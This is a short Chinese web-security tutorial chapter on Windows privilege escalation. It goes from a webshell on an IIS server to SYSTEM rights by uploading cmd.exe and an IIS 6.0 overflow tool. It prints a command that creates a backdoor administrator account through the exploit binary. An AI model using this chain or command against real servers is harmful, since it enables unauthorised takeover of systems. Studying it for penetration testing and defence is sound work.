[原创]WEB安全第六章提权篇06 windows系统溢出提权

WEB安全第六章提权篇06 windows系统溢出提权

1、简介
window 服务器 常用的是win2003 win2008 win2012
在渗透测试中 ，我们获取的权限是iis_user用户组 ，要更高的权限就需要把当前的用
户提权到系统用户或超级管理员用户组。更高的权限方便我们在后续的渗透中，扩大
范围测试。
2、程序权限的对比
在iis里面 权限依次的大小对比
aspx->php=>asp
aspx默认能执行终端命令
php和asp 如果不能执行命令，在组件没有删除的情况下，可以上传cmd到可执行目录、执行命令 均可以执行终端命令。
执行命令的组件
wscript.shell √ 命令行执行组件,显示

3、 溢出过程
1在webshell中能执行终端命令
2上传溢出exp
3执行命令

4、实战
在iis里面默认上传的大小是200k 大于就会报错。

webshell
http://www.demoasp.com/sb.asp 密码F4ck
查看组件是否删除

查看目录是否可写 可写则上传cmd.exe 执行命令

上传溢出工具 ii6.0溢出工具执行

当前的权限就是system用户

增加用户命令

C:\RECYCLER\iis6.0.exe “net user moonsec moonsec /add & net localgroup administrators moonsec /add”

登录服务器